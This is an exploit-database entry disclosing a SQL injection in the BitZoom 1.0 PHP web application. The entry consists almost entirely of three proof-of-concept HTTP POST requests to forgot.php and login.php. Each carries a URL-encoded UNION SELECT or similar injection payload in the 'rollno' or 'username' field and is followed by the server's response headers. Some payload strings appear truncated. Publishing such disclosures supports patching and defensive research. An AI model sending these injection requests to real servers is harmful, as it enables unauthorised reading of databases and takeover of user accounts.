BitZoom 1.0 - 'rollno' SQL Injection

EDB-ID:
45862

CVE:
N/A

EDB Verified: ×

Author:
IHSAN SENCAN

Type:
WEBAPPS

Exploit: / {}

Platform:
PHP

Date:
2018-11-15

Vulnerable App:

```
# Exploit Title: BitZoom 1.0 - 'rollno' SQL Injection
# Dork: N/A
# Date: 2018-11-14
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://bitzoom.sourceforge.io/
# Software Link:
https://excellmedia.dl.sourceforge.net/project/bitzoom/bitzoom-master.zip
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC:
# 1)
# http://localhost/[PATH]/forgot.php
#
POST /PATH/forgot.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=rsq0813q4hl4dtbfesogugiln3
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 572
rollno=%31%27%20%55%4e%49%4f%4e%20%53%45%4c%45%43%54%20%31%2c%32%2c%33%2c%34%
HTTP/1.1 200 OK
Date: Wed, 14 Nov 2018 11:17:49 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-
check=0
Pragma: no-cache
Content-Length: 2488
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

# POC:
# 2)
# http://localhost/[PATH]/forgot.php
#
POST /PATH/forgot.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=rsq0813q4hl4dtbfesogugiln3
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 574
username=%31%27%20%55%4e%49%4f%4e%20%53%45%4c%45%43%54%20%31%2c%32%2c%33%2c%3
HTTP/1.1 200 OK
Date: Wed, 14 Nov 2018 11:17:52 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-
check=0
Pragma: no-cache
Content-Length: 2486
Keep-Alive: timeout=5, max=99
```

```
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

# POC:
# 3)
# http://localhost/[PATH]/login.php
#
POST /PATH/login.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 592
username=%31%32%27%7c%28%53%65%6c%65%43%54%20%27%45%66%65%27%20%46%72%6f%4d%2
HTTP/1.1 200 OK
Date: Wed, 14 Nov 2018 11:03:08 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Content-Length: 585
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
```

Tags: SQL Injection (SQLi) **Advisory/Source:** Link

Databases

Links

Sites

Solutions